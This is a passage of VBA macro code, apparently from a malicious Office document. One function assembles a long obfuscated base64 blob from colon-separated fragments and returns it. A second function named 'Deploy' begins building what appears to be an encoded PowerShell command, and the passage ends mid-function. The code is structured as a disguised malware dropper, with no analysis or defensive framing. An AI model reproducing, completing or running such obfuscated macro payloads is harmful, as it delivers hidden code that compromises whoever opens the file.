str = str + "w:r:X:A:r:V:2:N:b:K:b:J:I:i:B:V:+:e:y:t:Y:r:r:t:1:5:l:T:Y:U:8:m:p:P:b:b:8:U:l:k:Z:a:B:q:S:A:9:M:o:X:"
str = str + "H:l:N:X:c:B:5:t:j:I:3:I:V:e:0:S:f:W:Q:A:S:S:0:3:l:V:W:W:V:v:r:u:+:K:5:G:e:R:A:I:3:Z:A:h:K:i:g:g:p:Z:"
str = str + "J:t:T:k:I:o:X:R:M:W:J:a:c:8:u:Y:a:C:9:i:x:K:I:f:L:l:I:a:L:E:U:w:T:b:S:O:f:N:c:q:2:c:n:J:D:g:C:C:u:v:"
str = str + "U:J:D:n:U:t:Y:d:V:N:p:H:G:q:U:N:A:j:A:4:F:k:G:k:o:l:y:y:Z:z:c:E:L:0:c:t:F:d:R:y:2:y:6:d:F:p:A:1:h:t:"
str = str + "w:X:4:+:Y:B:m:v:r:+:w:L:6:X:K:J:G:H:W:u:3:Q:5:q:R:8:g:s:t:Y:T:e:q:N:B:S:G:+:J:T:D:S:t:T:E:p:A:V:c:b:"
str = str + "F:N:C:B:L:q:F:8:z:E:A:K:y:D:A:8:z:a:G:q:F:p:M:6:9:s:l:H:D:H:j:Q:7:d:d:w:v:k:d:o:y:L:h:g:8:N:p:U:p:y:"
str = str + "m:T:T:b:v:y:H:m:q:Y:Y:v:B:u:C:Y:l:y:2:m:J:O:6:H:B:L:5:T:U:B:F:l:+:h:5:6:9:N:x:c:S:C:e:I:4:e:2:y:T:+:"
str = str + "8:i:x:D:S:J:m:e:y:l:w:D:w:s:9:q:4:m:5:5:p:1:2:6:N:H:b:3:x:b:t:y:g:i:s:r:E:V:j:2:7:E:m:5:s:h:O:N:T:2:"
str = str + "0:l:Q:W:X:/:k:i:X:9:r:j:K:k:a:h:M:V:a:A:s:i:+:I:u:n:2:F:I:W:D:f:P:N:W:3:Y:j:e:V:S:r:L:J:G:+:Q:8:X:0:"
str = str + "h:L:G:o:t:Y:o:p:5:b:y:s:u:L:T:l:1:+:W:S:r:j:a:w:D:t:z:X:A:O:E:5:o:c:K:+:I:S:8:Z:1:t:e:5:Y:d:v:u:P:7:"
str = str + "3:v:N:B:L:P:M:X:j:1:H:D:C:M:E:r:T:8:m:U:o:y:8:x:Q:2:1:S:j:6:b:U:V:V:n:9:E:1:E:Q:b:J:V:L:S:j:z:T:e:9:"
str = str + "6:x:v:U:9:v:c:r:u:M:j:P:Y:L:Z:y:U:s:/:J:A:Z:b:8:k:Z:+:C:a:/:7:9:s:g:n:K:i:C:a:+:F:5:c:x:8:n:F:Z:k:P:"
str = str + "X:r:r:C:O:M:o:b:+:j:r:6:Q:a:H:y:9:A:+:U:J:H:K:9:s:n:q:i:O:N:m:K:g:k:L:p:M:s:A:K:z:r:Q:9:8:V:Z:T:y:Q:"
str = str + "x:1:C:d:8:v:0:L:k:K:v:0:+:e:o:r:m:O:g:Y:d:K:9:a:U:s:a:v:J:J:e:e:4:M:x:x:3:e:Y:t:v:0:d:9:Z:/:A:p:E:9:"
str = str + "O:F:r:a:p:/:C:I:U:o:8:s:C:6:6:H:i:Y:M:3:z:4:A:i:p:x:B:Y:2:f:c:e:O:u:x:i:h:x:E:0:v:G:z:J:+:6:r:F:J:X:"
str = str + "J:m:L:/:k:c:k:n:L:L:F:w:O:w:/:b:U:b:Y:L:3:w:q:B:1:1:y:v:2:a:e:r:I:E:o:n:3:C:V:E:k:w:Q:Q:m:7:i:d:d:G:"
str = str + "Y:V:f:l:9:X:m:N:n:1:7:J:4:X:v:U:B:u:3:A:K:E:M:6:N:w:x:+:n:A:0:r:i:f:W:Y:o:f:2:G:1:H:e:8:n:h:z:+:2:D:"
str = str + "S:n:/:+:L:K:u:p:v:x:v:Z:2:9:/:o:H:L:J:/:B:C:Y:q:Q:c:e:r:U:q:s:9:C:t:r:B:X:K:L:j:X:M:h:P:L:j:g:O:I:v:"
str = str + "L:7:m:m:B:y:P:t:O:c:l:l:r:4:Q:Z:m:F:D:/:/:c:L:2:R:E:6:5:b:g:+:1:4:p:w:T:n:3:x:z:Q:6:H:3:6:v:F:8:O:J:"
str = str + "o:Q:X:E:Z:W:Y:w:U:i:u:w:O:s:S:K:N:r:Q:p:q:I:8:H:d:o:K:w:H:3:0:x:N:n:z:N:x:b:x:/:8:c:N:a:W:F:H:j:4:g:"
str = str + "L:X:O:n:i:D:Y:b:V:T:f:p:5:X:H:u:b:m:t:J:J:X:O:T:Q:F:K:J:6:R:J:C:J:K:J:A:M:E:m:v:4:z:Y:l:m:e:d:w:T:/:"
str = str + "H:0:+:a:O:A:x:9:p:0:f:s:d:S:P:w:0:U:U:M:t:v:d:c:L:c:S:c:6:M:Z:l:U:t:a:d:t:R:Z:7:L:5:j:Z:M:W:h:P:K:E:"
str = str + "H:w:8:N:F:J:K:u:s:o:r:r:q:r:9:f:D:o:e:X:x:B:a:C:Z:h:8:v:v:7:l:h:e:c:P:T:A:h:z:c:7:M:k:H:P:K:E:M:7:l:"
str = str + "9:9:Q:A:T:A:l:n:N:A:S:o:R:Q:I:z:f:z:Q:R:b:S:j:1:N:u:E:g:S:S:/:8:G:h:s:m:6:S:1:m:U:T:T:i:3:Z:a:9:h:W:"
str = str + "s:F:W:S:n:g:A:R:w:2:p:4:d:E:u:i:v:R:8:A:t:E:V:I:N:x:Z:3:U:w:h:r:2:H:p:U:u:U:K:H:N:c:v:A:Z:l:X:q:Y:v:"
str = str + "Z:7:f:B:J:G:i:l:/:v:7:b:f:3:M:f:c:3:G:v:z:m:j:j:M:1:P:6:w:R:J:I:N:o:E:I:X:l:d:O:D:e:O:h:2:D:e:q:g:B:"
str = str + "P:6:n:e:K:Y:9:Q:/:7:c:C:2:N:8:g:6:r:p:S:0:x:R:n:/:2:w:f:J:x:L:2:S:q:z:A:X:N:N:z:O:G:U:m:o:K:h:4:A:M:"
str = str + "R:s:e:p:a:q:Q:L:a:V:u:0:F:5:r:s:H:3:7:S:e:p:0:g:e:q:r:/:c:v:p:j:i:m:0:a:d:0:D:u:m:0:h:m:P:w:4:G:b:d:"
str = str + "v:Z:I:C:c:E:f:X:P:r:b:G:h:K:+:5:/:i:A:d:e:O:X:w:Z:D:N:7:S:G:z:c:U:i:e:c:A:I:P:J:f:z:3:J:o:C:W:m:r:r:"
str = str + "8:1:C:W:0:L:U:9:l:8:f:r:y:T:G:m:I:A:D:n:/:r:h:Y:h:0:B:i:S:k:f:Z:p:e:o:K:1:f:G:D:G:H:Q:R:F:S:t:F:P:y:"
str = str + "k:d:r:R:O:O:p:8:D:U:u:Y:e:8:E:q:I:9:U:x:9:f:8:H:3:3:z:I:R:x:w:a:d:z:q:s:k:6:Y:U:c:v:G:G:Y:e:8:v:X:S:"
str = str + "w:5:I:B:I:d:d:K:Q:m:5:K:I:j:6:M:/:Q:L:e:+:r:n:2:P:Y:2:b:a:D:2:L:e:5:W:N:7:0:u:d:3:L:S:I:F:1:5:o:a:0:"
str = str + "X:M:c:f:L:V:9:9:M:B:n:T:S:+:D:L:S:J:U:K:h:3:M:h:J:K:r:V:o:3:d:p:3:3:n:1:i:+:I:H:3:n:L:Q:A:q:G:9:E:o:"
str = str + "W:r:z:c:8:8:K:6:q:Y:f:2:o:v:Y:s:C:o:u:h:a:3:3:5:0:3:u:B:8:K:Q:q:a:0:n:t:H:g:n:c:H:K:b:p:d:E:e:h:P:w:"
str = str + "O:b:F:q:W:h:5:R:2:x:L:c:/:d:G:X:+:V:o:0:A:m:b:C:i:c:q:N:0:2:e:D:u:m:X:c:F:9:o:S:l:Q:f:T:L:M:B:D:P:p:"
str = str + "e:a:/:O:K:4:T:a:j:J:q:z:M:J:n:E:b:Z:x:J:B:Z:g:g:x:6:m:w:x:+:r:E:5:q:7:B:d:B:j:h:I:E:B:O:b:v:v:b:p:d:"
str = str + "4:w:1:o:F:V:v:m:/:3:m:l:Q:Z:5:p:j:I:x:l:L:E:g:m:4:j:K:2:L:B:/:V:Z:J:7:A:p:H:+:o:o:Q:0:O:p:2:T:t:e:Y:"
str = str + "o:z:L:m:U:i:A:/:t:A:U:J:w:c:U:8:4:i:J:z:w:I:e:g:V:9:f:9:I:j:X:O:I:g:T:P:/:g:o:T:E:r:k:a:e:/:v:g:e:n:"
str = str + "R:b:l:9:x:F:4:0:N:H:4:s:2:k:9:u:o:P:g:5:H:J:y:8:W:b:e:S:N:L:B:g:L:7:Y:q:/:m:U:c:V:Z:f:j:7:A:T:1:X:D:"
str = str + "A:p:d:s:3:Z:e:d:C:Z:8:+:2:R:b:h:a:M:b:o:g:T:n:/:x:g:E:s:b:X:O:n:N:T:H:l:X:N:e:z:r:M:O:I:5:7:i:Q:O:T:"
str = str + "F:H:3:3:5:G:E:x:C:O:F:/:T:g:l:7:2:6:D:P:b:2:I:F:m:s:Z:I:M:p:W:v:e:O:u:B:y:G:i:Q:6:Z:e:m:F:n:0:v:6:U:"
str = str + "7:s:m:F:i:Z:s:i:h:b:L:i:c:I:V:/:Q:8:h:L:J:n:C:1:W:P:m:o:C:m:c:Q:o:Z:r:n:g:G:K:X:i:l:i:x:B:N:Q:I:q:L:"
str = str + "R:O:t:k:n:t:x:L:q:r:T:w:Q:A:A:l:R:v:L:5:G:m:7:L:N:f:X:i:2:T:c:K:k:z:V:N:J:C:5:a:q:E:T:j:p:f:Q:v:7:V:"
str = str + "Z:z:6:1:i:r:5:s:W:n:l:k:3:E:2:8:+:q:G:g:6:r:O:z:s:f:H:c:X:b:f:h:g:k:R:A:v:f:W:d:J:O:M:K:M:T:L:n:w:t:"
str = str + "B:N:0:9:9:o:B:K:U:O:n:Q:f:3:A:0:B:4:f:r:E:w:2:B:C:m:T:S:l:+:z:M:m:m:T:f:V:o:W:Z:o:1:O:g:S:/:V:x:H:z:"
str = str + "Y:K:2:E:B:N:f:/:6:N:n:k:+:F:b:7:9:O:r:m:Y:f:x:C:G:X:L:A:n:U:u:k:O:h:E:L:F:1:v:D:2:W:J:W:1:9:6:p:l:0:"
str = str + "p:u:Q:h:H:6:y:S:U:b:Y:X:+:q:D:x:D:g:f:g:p:+:P:F:r:k:7:R:i:N:3:2:A:a:+:U:/:B:H:p:A:/:p:M:8:6:D:S:U:s:"
str = str + "w:O:t:2:T:x:X:G:1:U:Z:a:Z:D:k:7:L:S:i:q:L:Z:b:q:K:c:y:V:3:8:b:m:2:d:3:L:v:N:0:1:Y:H:i:U:h:g:y:f:E:V:"
str = str + "9:O:v:a:q:L:t:V:2:6:H:N:8:U:c:W:G:D:N:6:J:N:O:B:5:k:V:V:g:X:5:b:Q:3:l:T:h:E:Y:0:a:j:O:W:b:H:R:X:a:s:"
str = str + "T:m:Q:k:v:o:L:N:Y:S:q:0:I:r:t:9:6:V:O:k:M:l:a:U:P:F:O:j:o:n:U:z:y:F:d:a:c:l:j:p:4:n:4:Y:g:v:Z:n:D:E:"
str = str + "5:C:0:m:j:t:C:O:T:P:j:m:M:k:0:N:G:Y:X:/:r:8:N:a:+:n:I:T:H:j:i:F:D:b:l:2:U:H:x:D:e:A:J:d:Y:N:8:Y:B:V:"
str = str + "4:6:u:d:9:P:n:f:p:x:U:D:5:R:c:w:R:y:M:n:2:K:j:Z:X:T:W:t:P:A:N:M:v:D:y:q:v:r:j:j:q:G:l:m:6:a:p:I:G:y:"
str = str + "V:K:d:A:9:S:X:M:M:y:r:f:d:3:G:S:n:T:4:S:s:i:j:h:D:y:Z:W:4:i:f:3:r:M:U:X:q:E:I:D:1:y:g:R:N:F:j:4:e:y:"
str = str + "7:s:a:6:6:e:n:c:M:r:c:u:6:+:q:i:F:i:m:s:e:G:p:A:u:k:1:7:t:g:g:A:6:P:e:Z:H:a:8:o:X:8:a:r:6:u:c:D:m:u:"
str = str + "8:f:x:+:P:x:z:6:b:E:F:2:E:3:Y:m:A:4:w:H:D:9:n:h:U:S:e:k:C:1:f:O:N:t:R:Q:v:r:X:C:Y:w:h:5:m:H:f:9:H:Q:"
str = str + "s:w:1:e:z:d:/:V:g:U:j:H:t:B:c:K:h:t:A:0:6:P:o:y:k:T:L:P:n:k:e:R:3:v:p:K:P:D:C:R:3:R:k:L:S:3:v:5:U:d:"
str = str + "O:e:l:0:s:u:w:U:V:p:2:S:D:x:x:n:Z:P:a:n:j:A:x:+:v:e:3:B:r:7:p:5:h:d:4:w:V:2:L:i:d:W:e:n:3:m:m:c:L:L:"
str = str + "E:k:n:q:h:D:N:Y:o:B:x:A:z:9:0:L:b:W:e:j:w:X:w:Z:N:k:5:V:9:Z:G:h:G:i:3:3:/:R:G:a:j:u:X:H:2:1:5:w:i:C:"
str = str + "e:M:D:R:j:O:8:+:2:A:8:t:C:G:x:C:g:U:d:e:u:Q:6:q:m:/:d:4:P:R:J:M:O:E:z:V:u:k:k:f:M:R:C:4:s:L:b:y:0:u:"
str = str + "n:q:T:K:O:i:T:v:b:S:v:o:g:q:F:5:I:F:N:M:M:A:V:Z:o:X:U:x:T:P:d:W:g:B:F:+:F:e:H:+:Q:/:P:K:4:C:l:R:M:Q:"
str = str + "2:b:q:M:e:Y:6:M:e:s:p:J:F:P:S:Z:3:4:j:V:B:D:h:S:h:r:S:L:u:g:M:w:8:w:7:U:Z:l:W:B:O:6:F:1:8:u:/:A:/:5:"
str = str + "U:Z:W:y:r:6:g:+:Z:k:y:X:Y:r:f:u:Y:O:w:x:n:o:m:F:A:J:B:Y:S:Q:f:t:y:b:j:/:J:z:2:I:m:S:/:a:d:P:9:I:6:T:"
str = str + "L:S:n:m:h:l:G:x:d:a:P:m:u:i:V:c:R:2:m:A:u:9:m:A:5:+:s:v:T:F:W:/:J:p:u:Y:I:x:x:L:A:3:K:1:b:d:v:J:/:J:"
str = str + "s:n:/:5:r:t:m:j:B:+:d:d:5:i:6:m:D:i:W:c:f:J:X:V:5:0:y:J:1:+:2:N:W:G:W:P:M:Q:j:G:A:o:X:m:I:X:L:N:u:l:"
str = str + "a:n:c:Y:q:9:S:v:p:x:U:n:b:h:Z:p:G:D:y:k:I:E:N:h:h:J:Y:B:F:M:Z:O:9:Z:m:X:/:h:W:r:M:5:0:1:r:K:L:G:a:v:"
str = str + "m:9:A:J:m:Z:h:t:T:q:q:H:R:H:Z:B:D:B:9:1:L:1:5:K:A:h:u:5:H:A:6:W:v:J:O:E:K:T:V:e:V:R:K:7:Q:N:v:h:q:C:"
str = str + "C:J:y:a:S:L:y:j:v:F:x:S:H:x:u:e:l:e:M:J:5:s:J:E:e:5:q:E:a:N:U:z:O:t:n:7:8:b:I:l:d:K:E:A:N:Z:L:V:S:+:"
str = str + "1:p:b:g:5:p:7:0:U:l:R:h:q:n:a:V:V:j:M:t:W:h:9:Y:C:U:6:s:/:X:X:4:u:m:c:z:V:p:g:K:6:E:k:9:5:A:J:8:e:Z:"
str = str + "2:G:9:o:5:p:p:J:i:X:n:W:d:N:W:N:A:A:L:J:l:B:C:D:f:6:4:F:L:U:i:p:0:4:p:c:H:i:u:g:s:Y:/:P:u:H:y:0:i:c:"
str = str + "Q:l:C:w:Y:w:P:v:f:M:j:l:L:V:F:w:j:L:F:j:E:r:b:W:U:V:l:G:P:B:5:I:y:A:9:T:2:Y:6:o:G:e:q:u:O:i:q:5:c:H:"
str = str + "U:h:Z:O:a:4:a:g:D:D:b:B:r:u:4:t:q:f:3:z:e:V:h:s:D:Q:2:Q:8:X:B:0:L:Q:k:k:h:p:D:N:l:n:j:J:I:t:e:E:/:0:"
str = str + "X:/:w:y:X:b:Q:l:c:O:p:6:Q:+:h:A:0:j:N:w:A:f:K:7:e:K:V:c:o:Y:Q:n:c:t:x:z:T:b:a:s:G:v:J:F:z:G:0:K:N:t:"
str = str + "0:e:5:d:W:o:h:y:Q:w:r:n:m:R:7:j:k:h:H:H:w:u:p:x:R:5:n:j:U:s:r:Z:g:Q:6:q:1:q:y:X:1:z:F:c:o:r:A:J:p:9:"
str = str + "/:n:W:u:I:Q:d:9:4:Y:E:X:J:r:4:F:D:l:8:4:B:y:R:m:2:B:E:p:B:h:n:f:y:b:k:j:z:0:f:X:J:H:e:Q:4:1:E:/:o:0:"
str = str + "m:Q:e:L:f:1:D:/:K:R:o:w:8:d:s:L:J:t:T:g:6:y:a:K:y:M:c:W:j:u:M:p:s:x:L:t:j:M:V:w:Y:f:h:G:G:K:s:A:I:F:"
str = str + "n:d:x:j:E:A:M:w:B:G:I:C:y:y:K:p:k:8:A:c:m:S:K:M:J:0:g:D:Z:u:O:I:6:5:z:K:B:v:h:I:f:y:P:o:S:/:2:Z:5:E:"
str = str + "2:u:8:f:F:h:Z:e:o:d:8:y:c:G:m:9:A:X:/:F:V:z:q:H:7:0:J:3:v:b:G:4:K:p:j:S:I:k:w:a:K:r:K:K:e:/:y:R:+:M:"
str = str + "s:H:L:r:L:X:n:C:J:E:a:B:L:n:n:h:q:f:F:Q:y:2:L:2:X:1:S:H:v:u:V:H:Y:G:N:g:+:S:P:Y:V:+:K:h:b:G:2:f:j:K:"
str = str + "6:9:1:+:h:M:p:E:+:g:5:G:i:S:T:q:H:2:e:b:m:c:j:k:H:1:V:E:x:0:F:Q:e:Z:P:K:T:y:S:H:e:r:s:w:h:r:l:g:Z:X:"
str = str + "O:Q:3:O:K:U:f:D:Y:S:k:M:O:p:c:r:n:E:+:A:Q:1:f:8:Q:j:O:r:q:y:z:L:s:/:0:V:9:Y:Y:w:e:v:K:I:R:n:E:t:m:N:"
str = str + "v:4:v:p:/:n:o:3:N:n:i:H:m:1:p:O:a:+:g:C:0:K:w:b:h:C:F:w:l:a:b:k:n:P:t:w:X:l:P:A:x:O:0:y:0:l:h:N:t:J:"
str = str + "S:v:8:H:8:C:e:0:g:L:N:C:h:h:C:A:E:w:6:4:p:z:7:h:K:8:z:B:7:o:0:J:k:p:H:M:Y:n:/:i:R:M:T:F:0:z:w:u:3:W:"
str = str + "i:j:x:C:U:p:X:1:w:o:g:V:l:Q:n:R:2:3:i:T:x:9:U:3:U:P:l:5:o:t:x:c:H:7:b:U:9:V:B:w:r:d:3:w:9:V:J:0:p:6:"
str = str + "X:q:j:r:K:Y:L:n:N:Z:b:C:8:c:b:J:7:i:y:a:T:M:g:Z:5:I:+:Z:J:F:S:T:J:E:L:5:V:A:4:/:h:2:k:x:Q:H:K:R:u:g:"
str = str + "a:Q:b:h:E:W:g:N:5:S:b:0:x:w:T:H:N:/:t:u:L:U:c:T:b:3:S:S:O:Y:i:B:T:r:c:K:1:1:U:K:i:D:H:w:b:j:V:S:6:8:"
str = str + "U:v:3:a:N:O:s:z:x:J:j:u:a:P:G:g:u:P:Q:6:5:h:V:D:3:R:u:i:l:P:O:K:Y:n:l:E:T:3:6:7:P:W:E:G:p:0:n:y:u:h:"
str = str + "/:8:1:S:u:+:x:l:w:7:Q:f:Y:Z:N:I:c:M:0:P:j:y:l:U:E:k:y:V:+:Y:+:h:F:h:1:5:S:W:K:W:i:g:h:j:P:C:f:h:q:0:"
str = str + "/:g:U:K:F:6:x:s:U:z:Z:E:D:F:w:7:V:z:R:c:R:B:G:e:W:m:N:+:O:6:3:A:o:o:d:R:L:F:C:d:+:T:s:G:w:b:e:I:E:I:"
str = str + "b:G:t:Y:J:Y:l:M:o:K:4:g:f:E:x:y:a:C:g:D:V:M:L:h:B:O:5:k:y:T:C:M:g:K:6:r:m:o:P:6:8:F:g:/:2:m:G:d:q:v:"
str = str + "2:L:p:I:p:y:v:B:R:5:Y:P:e:6:l:K:z:w:1:y:l:s:O:d:y:9:Q:5:2:J:B:u:F:3:M:s:7:D:4:p:Y:w:J:T:g:c:c:6:F:j:"
str = str + "q:9:E:E:t:y:X:k:P:+:W:0:6:o:b:W:e:K:i:z:Y:N:q:G:t:T:B:f:P:c:m:m:m:Y:3:R:r:4:c:8:I:W:I:p:B:G:X:V:J:s:"
str = str + "X:R:1:O:4:Y:E:h:/:H:J:q:n:s:L:p:D:0:v:V:n:j:G:R:B:H:9:y:P:E:/:d:f:M:U:x:5:J:X:Y:9:1:Q:V:+:k:K:a:/:9:"
str = str + "T:P:9:D:k:X:7:4:6:e:z:D:3:Z:1:f:/:7:6:K:t:N:8:7:n:c:R:1:b:W:h:I:Q:+:3:G:5:9:+:V:I:O:L:u:7:j:7:e:+:y:"
str = str + "T:g:o:t:o:h:B:q:Z:z:Z:9:4:Z:+:N:u:o:y:x:x:O:d:q:W:8:d:J:I:i:a:A:q:S:t:c:9:w:A:Q:w:H:b:D:g:n:z:7:3:g:"
str = str + "2:8:0:M:Q:t:+:7:g:c:K:S:j:c:2:g:m:5:j:H:q:u:9:j:y:q:o:1:R:F:r:I:f:l:R:6:u:9:Q:+:B:T:w:c:3:O:a:2:a:u:"
str = str + "I:I:6:r:H:W:m:O:+:j:w:9:E:E:s:b:+:T:N:y:d:U:v:v:4:X:R:+:U:B:g:t:g:z:z:E:5:Q:3:6:N:J:F:N:t:k:Q:W:/:7:"
str = str + "S:c:W:d:h:a:z:M:A:h:k:w:6:B:8:+:u:O:9:2:Q:A:k:k:1:0:c:I:C:c:l:R:q:Y:5:w:0:W:b:o:j:N:R:P:P:Y:x:T:S:p:"
str = str + "X:2:7:A:S:/:T:T:O:X:0:7:0:W:k:G:y:H:P:w:3:j:V:I:2:q:J:7:h:m:g:s:d:k:o:K:b:q:L:y:c:M:9:Y:m:6:y:G:9:g:"
str = str + "U:w:k:q:4:B:e:4:4:c:T:G:w:V:z:r:i:k:o:t:h:/:N:V:S:B:B:q:8:u:9:r:O:u:f:b:U:5:v:y:k:Z:x:u:t:9:k:l:9:b:"
str = str + "B:x:j:I:l:B:v:a:l:V:k:r:w:p:F:h:3:z:J:2:D:F:v:i:j:5:w:1:T:H:E:P:f:t:9:A:K:j:A:M:4:1:d:u:6:s:I:7:c:V:"
str = str + "2:1:k:x:3:q:2:A:U:x:I:+:w:e:k:B:+:X:z:H:S:+:D:H:o:j:e:k:s:U:G:B:H:9:l:m:2:9:4:j:z:a:6:4:V:v:L:W:u:9:"
str = str + "z:7:v:K:y:3:F:x:S:U:R:K:Y:W:a:W:T:S:W:/:j:N:X:W:U:F:V:h:d:h:R:R:D:D:E:G:R:5:R:p:t:N:t:A:Q:R:h:S:T:h:"
str = str + "+:0:I:S:a:s:p:Z:0:U:1:I:O:t:z:l:p:S:O:+:1:4:j:O:Z:M:A:K:m:x:h:w:Q:/:z:o:d:T:k:C:P:0:1:1:2:9:5:W:o:a:"
str = str + "e:s:f:D:u:k:A:E:v:C:l:C:i:6:g:p:d:J:m:N:D:p:Q:x:1:U:c:i:i:1:J:s:m:e:C:L:h:9:V:4:7:l:+:J:s:N:Y:2:O:s:"
str = str + "u:9:J:Q:X:1:J:L:j:Z:R:u:M:y:e:X:q:c:Q:7:I:h:e:f:A:J:M:O:O:4:p:m:F:n:H:4:m:t:s:d:g:U:W:c:W:X:9:7:e:Q:"
str = str + "f:j:p:0:O:H:b:p:y:B:Z:A:Q:2:T:p:z:1:5:n:z:/:e:N:l:p:X:L:M:t:L:S:7:B:E:5:2:0:e:6:X:4:8:G:T:R:c:E:j:v:"
str = str + "i:q:k:Q:Q:l:r:X:p:K:k:b:m:z:n:u:f:6:x:V:6:2:X:6:G:J:9:8:a:+:Y:O:z:h:W:e:3:X:s:l:x:6:T:y:+:W:i:n:8:z:"
str = str + "z:E:1:1:Y:Q:c:b:Q:P:O:7:V:N:v:b:F:E:B:i:1:7:2:/:a:2:0:L:K:6:B:P:L:1:R:T:/:t:k:N:y:W:7:x:9:0:3:y:+:I:"
str = str + "0:f:F:3:i:e:f:7:p:E:B:W:h:S:b:E:n:Z:D:c:b:s:P:o:o:z:3:s:1:X:W:o:S:q:7:9:/:Y:p:Y:T:o:l:m:S:a:S:q:f:n:"
str = str + "E:k:j:N:s:q:n:A:x:f:h:s:g:A:8:v:E:y:k:F:9:+:A:N:w:X:a:s:2:F:y:S:s:K:a:Q:7:K:c:B:Q:B:D:O:l:r:K:X:B:l:"
str = str + "L:Y:Y:D:o:v:7:a:i:n:s:F:0:g:B:W:l:I:A:h:6:t:4:t:e:W:H:x:O:D:a:c:o:G:J:K:b:4:f:c:s:s:i:N:+:b:q:1:I:q:"
str = str + "I:T:M:Q:d:K:t:i:Q:l:s:D:C:1:c:h:z:9:V:6:A:m:C:W:3:x:e:Z:8:J:P:A:M:j:h:y:9:k:o:X:Z:K:q:J:3:I:s:2:6:X:"
str = str + "A:X:n:0:z:5:9:S:P:F:x:v:n:2:V:p:6:1:Q:J:X:f:M:C:z:J:Y:k:T:/:e:S:/:2:T:a:K:W:N:v:/:5:t:W:o:n:x:Q:I:c:"
str = str + "7:H:V:7:L:2:n:v:M:U:2:d:K:V:f:h:H:N:D:c:3:e:o:S:m:H:/:J:D:a:c:n:v:O:X:5:V:h:w:N:U:A:/:I:u:D:N:H:t:m:"
str = str + "X:+:L:S:X:m:a:f:V:A:R:e:o:Q:t:N:5:n:e:D:M:a:O:s:E:B:G:T:z:a:9:2:3:G:U:p:o:z:h:Y:e:G:0:O:Z:+:y:L:m:m:"
str = str + "d:I:0:n:v:L:6:+:3:p:i:O:/:j:1:R:O:I:3:j:S:H:I:1:3:9:F:k:D:I:b:F:0:w:F:i:b:h:M:L:F:B:Z:3:l:W:I:A:R:Q:"
str = str + "U:0:I:H:c:V:D:C:S:5:O:y:E:3:E:o:a:3:9:s:b:H:g:i:q:r:q:g:V:/:q:s:+:A:V:W:m:U:W:3:P:4:I:V:v:Y:b:m:D:8:"
str = str + "t:W:b:T:a:p:c:U:R:/:b:a:1:B:n:S:4:+:A:K:E:T:P:K:W:p:n:y:P:H:+:I:T:V:2:c:o:Y:c:d:P:/:/:T:F:i:Y:c:2:T:"
str = str + "n:p:0:v:K:y:n:c:b:b:h:9:S:N:w:4:5:a:Q:m:a:L:C:x:z:D:B:l:I:f:8:r:U:f:H:b:N:o:a:K:9:t:3:v:K:o:A:I:i:x:"
str = str + "8:R:b:J:o:V:Y:9:5:s:T:S:h:l:l:i:K:F:+:1:B:o:b:4:H:G:t:k:Z:p:J:a:y:k:y:a:e:d:a:B:0:F:D:v:+:M:6:T:U:w:"
str = str + "o:X:Q:Y:9:h:m:M:A:v:I:z:X:W:4:B:E:Z:J:S:6:4:S:p:d:4:h:n:t:L:H:k:Y:q:T:0:r:i:8:X:E:P:W:y:q:F:/:8:w:8:"
str = str + "A:Q:0:i:4:V:A:b:K:M:Y:R:G:Z:4:6:n:X:L:l:H:m:g:u:l:e:E:C:h:5:9:P:y:X:B:4:d:L:x:Y:i:L:h:4:x:Y:t:2:G:f:"
str = str + "f:S:H:7:F:z:Z:H:/:V:d:f:a:i:f:G:M:R:z:v:m:N:B:d:M:c:r:S:m:J:A:3:A:F:a:O:z:7:5:7:D:J:8:D:i:R:V:U:V:X:"
str = str + "R:O:1:O:E:C:u:9:S:v:w:7:9:d:o:B:J:x:J:+:O:y:H:y:t:2:F:S:s:8:t:8:O:2:j:Q:l:g:f:l:f:f:y:L:I:v:Z:y:A:/:"
str = str + "j:Y:U:D:/:U:H:M:J:X:8:A:2:5:u:H:b:e:o:z:4:i:y:b:p:X:s:9:A:B:Y:i:9:+:V:V:l:V:e:v:N:9:o:O:x:T:u:i:8:o:"
str = str + "N:N:Y:v:P:e:/:/:J:d:P:G:m:9:A:B:D:S:N:T:K:h:M:u:t:W:c:G:P:2:g:n:z:G:x:b:q:0:1:X:y:u:C:E:1:B:a:X:X:W:"
str = str + "A:v:/:g:P:d:N:2:7:Y:T:g:i:3:S:k:F:t:e:8:y:T:o:o:T:A:a:m:r:p:f:s:W:T:N:7:O:o:/:j:a:D:w:C:l:U:1:E:c:e:"
str = str + "D:8:I:9:R:q:T:0:O:s:J:Q:W:k:4:I:u:C:B:Z:D:0:y:4:9:D:P:7:g:2:0:z:B:q:Y:S:D:t:E:Z:t:7:U:Q:3:s:h:4:G:N:"
str = str + "U:W:T:t:V:O:0:P:k:z:m:p:K:3:P:D:g:Z:0:0:8:k:z:N:q:v:e:F:c:+:9:4:Q:o:B:y:T:J:A:1:+:j:b:T:X:Z:X:c:1:H:"
str = str + "G:v:9:h:h:z:k:1:o:b:3:+:Y:4:C:2:H:G:W:S:j:8:R:F:4:W:f:t:k:e:O:4:0:0:+:3:B:0:b:0:n:B:K:n:B:k:u:p:l:1:"
str = str + "h:p:/:a:r:M:Z:2:L:E:C:E:c:6:X:/:L:x:6:z:m:X:6:4:e:H:a:4:G:r:J:/:R:J:D:8:C:P:B:/:e:t:Q:2:D:E:c:A:x:e:"
str = str + "8:h:i:R:I:D:T:9:q:S:r:d:h:k:4:0:Z:d:S:O:M:x:/:W:P:L:P:H:T:D:z:N:F:J:R:U:e:b:B:X:W:5:D:i:P:t:Y:C:E:r:"
str = str + "A:u:U:1:R:F:H:N:Z:s:N:t:1:v:c:O:2:j:T:H:1:r:o:C:/:t:v:1:e:c:F:t:E:1:H:1:y:E:W:8:G:R:4:t:1:U:A:7:Z:X:"
str = str + "5:M:H:C:3:N:Z:j:P:d:A:S:s:M:T:B:j:P:B:/:K:v:w:R:u:N:x:m:Z:2:j:+:e:V:j:S:j:D:F:g:W:H:M:8:8:l:X:G:A:=:"
str = Replace(str, ":", "")
B = str
End Function
Function Deploy()
Dim str As String
Dim cmd As String
str = "U:w:B:B:A:E:w:A:I:A:B:a:A:C:A:A:T:g:B:F:A:F:c:A:L:Q:B:P:A:E:I:A:S:g:B:F:A:E:M:A:V:A:A:7:A:C:Q:A:Y:g:"
str = str + "A:x:A:D:0:A:W:w:B:J:A:E:8:A:L:g:B:N:A:E:U:A:T:Q:B:P:A:F:I:A:W:Q:B:T:A:F:Q:A:U:g:B:F:A:E:E:A:T:Q:B:d:"
